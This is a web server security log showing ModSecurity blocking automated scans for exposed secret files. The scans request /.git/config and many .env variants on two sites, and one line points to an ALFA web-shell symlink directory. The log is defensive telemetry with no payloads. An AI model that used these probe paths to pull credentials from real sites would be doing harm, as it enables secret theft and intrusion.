[Mon Oct 26 16:15:03.308425 2026] [security2:error] [pid 3058816:tid 3058816] [client 34.154.216.187:60790] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "arg1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at-0x8-doU5lRL_NAI8P8QAAAAE"]
[Mon Oct 26 16:15:03.308706 2026] [security2:error] [pid 3058816:tid 3058816] [client 34.154.216.187:60790] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "arg1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at-0x8-doU5lRL_NAI8P8QAAAAE"]
[Mon Oct 26 16:15:03.309022 2026] [security2:error] [pid 3058816:tid 3058816] [client 34.154.216.187:60790] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "arg1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at-0x8-doU5lRL_NAI8P8QAAAAE"]
[Mon Oct 26 16:15:03.725745 2026] [security2:error] [pid 3058816:tid 3058816] [client 34.154.216.187:60790] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at-0x8-doU5lRL_NAI8P8wAAAAE"]
[Mon Oct 26 16:15:03.726012 2026] [security2:error] [pid 3058816:tid 3058816] [client 34.154.216.187:60790] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at-0x8-doU5lRL_NAI8P8wAAAAE"]
[Mon Oct 26 16:15:03.726274 2026] [security2:error] [pid 3058816:tid 3058816] [client 34.154.216.187:60790] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at-0x8-doU5lRL_NAI8P8wAAAAE"]
[Mon Oct 26 16:15:03.792679 2026] [security2:error] [pid 3065807:tid 3065807] [client 54.184.226.94:46805] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.git/HEAD"] [unique_id "at-0xxjIL9Z3tuLhXUCvAQAAAAc"], referer: https://sucuri.net
[Mon Oct 26 16:15:03.813455 2026] [security2:error] [pid 3065807:tid 3065807] [client 54.184.226.94:46805] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.git/HEAD"] [unique_id "at-0xxjIL9Z3tuLhXUCvAQAAAAc"], referer: https://sucuri.net
[Mon Oct 26 16:15:03.819379 2026] [security2:error] [pid 3065807:tid 3065807] [client 54.184.226.94:46805] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at-0xxjIL9Z3tuLhXUCvAQAAAAc"], referer: https://sucuri.net
[Mon Oct 26 16:15:03.871539 2026] [security2:error] [pid 3058816:tid 3058816] [client 34.154.216.187:60790] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at-0x8-doU5lRL_NAI8P9AAAAAE"]
[Mon Oct 26 16:15:03.871778 2026] [security2:error] [pid 3058816:tid 3058816] [client 34.154.216.187:60790] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at-0x8-doU5lRL_NAI8P9AAAAAE"]
[Mon Oct 26 16:15:03.872192 2026] [security2:error] [pid 3058816:tid 3058816] [client 34.154.216.187:60790] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at-0x8-doU5lRL_NAI8P9AAAAAE"]
[Mon Oct 26 16:15:04.043587 2026] [security2:error] [pid 3058816:tid 3058816] [client 34.154.216.187:60790] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at-0yM-doU5lRL_NAI8P9QAAAAE"]
[Mon Oct 26 16:15:04.043876 2026] [security2:error] [pid 3058816:tid 3058816] [client 34.154.216.187:60790] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at-0yM-doU5lRL_NAI8P9QAAAAE"]
[Mon Oct 26 16:15:04.044178 2026] [security2:error] [pid 3058816:tid 3058816] [client 34.154.216.187:60790] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at-0yM-doU5lRL_NAI8P9QAAAAE"]
[Mon Oct 26 16:15:04.212167 2026] [security2:error] [pid 3058816:tid 3058816] [client 34.154.216.187:60790] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at-0yM-doU5lRL_NAI8P9gAAAAE"]
[Mon Oct 26 16:15:04.212396 2026] [security2:error] [pid 3058816:tid 3058816] [client 34.154.216.187:60790] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at-0yM-doU5lRL_NAI8P9gAAAAE"]
[Mon Oct 26 16:15:04.212711 2026] [security2:error] [pid 3058816:tid 3058816] [client 34.154.216.187:60790] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at-0yM-doU5lRL_NAI8P9gAAAAE"]
[Mon Oct 26 16:15:04.262770 2026] [authz_core:error] [pid 3084023:tid 3084023] [client 195.178.110.159:32742] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/contacto/php.ini
[Mon Oct 26 16:15:04.318499 2026] [security2:error] [pid 3058816:tid 3058816] [client 34.154.216.187:60790] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at-0yM-doU5lRL_NAI8P9wAAAAE"]
[Mon Oct 26 16:15:04.318755 2026] [security2:error] [pid 3058816:tid 3058816] [client 34.154.216.187:60790] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at-0yM-doU5lRL_NAI8P9wAAAAE"]
[Mon Oct 26 16:15:04.319037 2026] [security2:error] [pid 3058816:tid 3058816] [client 34.154.216.187:60790] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at-0yM-doU5lRL_NAI8P9wAAAAE"]
[Mon Oct 26 16:15:04.557304 2026] [security2:error] [pid 3058816:tid 3058816] [client 34.154.216.187:60790] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at-0yM-doU5lRL_NAI8P-AAAAAE"]
[Mon Oct 26 16:15:04.557582 2026] [security2:error] [pid 3058816:tid 3058816] [client 34.154.216.187:60790] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at-0yM-doU5lRL_NAI8P-AAAAAE"]
[Mon Oct 26 16:15:04.557998 2026] [security2:error] [pid 3058816:tid 3058816] [client 34.154.216.187:60790] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at-0yM-doU5lRL_NAI8P-AAAAAE"]
[Mon Oct 26 16:15:04.804086 2026] [security2:error] [pid 3058816:tid 3058816] [client 34.154.216.187:60790] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.remote"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at-0yM-doU5lRL_NAI8P-QAAAAE"]
[Mon Oct 26 16:15:04.804456 2026] [security2:error] [pid 3058816:tid 3058816] [client 34.154.216.187:60790] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at-0yM-doU5lRL_NAI8P-QAAAAE"]
[Mon Oct 26 16:15:04.804915 2026] [security2:error] [pid 3058816:tid 3058816] [client 34.154.216.187:60790] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at-0yM-doU5lRL_NAI8P-QAAAAE"]
[Mon Oct 26 16:15:04.834633 2026] [core:error] [pid 3085795:tid 3085795] (13)Permission denied: [client 185.191.171.14:46716] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/audit_buffer/slab_size
[Mon Oct 26 16:15:05.005204 2026] [security2:error] [pid 3058816:tid 3058816] [client 34.154.216.187:60790] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at-0yc-doU5lRL_NAI8P-gAAAAE"]
[Mon Oct 26 16:15:05.005441 2026] [security2:error] [pid 3058816:tid 3058816] [client 34.154.216.187:60790] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at-0yc-doU5lRL_NAI8P-gAAAAE"]
[Mon Oct 26 16:15:05.005823 2026] [security2:error] [pid 3058816:tid 3058816] [client 34.154.216.187:60790] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at-0yc-doU5lRL_NAI8P-gAAAAE"]
[Mon Oct 26 16:15:05.190235 2026] [security2:error] [pid 3058816:tid 3058816] [client 34.154.216.187:60790] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at-0yc-doU5lRL_NAI8P-wAAAAE"]
[Mon Oct 26 16:15:05.190480 2026] [security2:error] [pid 3058816:tid 3058816] [client 34.154.216.187:60790] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at-0yc-doU5lRL_NAI8P-wAAAAE"]
[Mon Oct 26 16:15:05.190813 2026] [security2:error] [pid 3058816:tid 3058816] [client 34.154.216.187:60790] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at-0yc-doU5lRL_NAI8P-wAAAAE"]
[Mon Oct 26 16:15:05.320233 2026] [security2:error] [pid 3058816:tid 3058816] [client 34.154.216.187:60790] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at-0yc-doU5lRL_NAI8P_AAAAAE"]
[Mon Oct 26 16:15:05.320451 2026] [security2:error] [pid 3058816:tid 3058816] [client 34.154.216.187:60790] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at-0yc-doU5lRL_NAI8P_AAAAAE"]
[Mon Oct 26 16:15:05.320757 2026] [security2:error] [pid 3058816:tid 3058816] [client 34.154.216.187:60790] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at-0yc-doU5lRL_NAI8P_AAAAAE"]
[Mon Oct 26 16:15:05.565510 2026] [security2:error] [pid 3058816:tid 3058816] [client 34.154.216.187:60790] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at-0yc-doU5lRL_NAI8P_QAAAAE"]
[Mon Oct 26 16:15:05.565758 2026] [security2:error] [pid 3058816:tid 3058816] [client 34.154.216.187:60790] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at-0yc-doU5lRL_NAI8P_QAAAAE"]
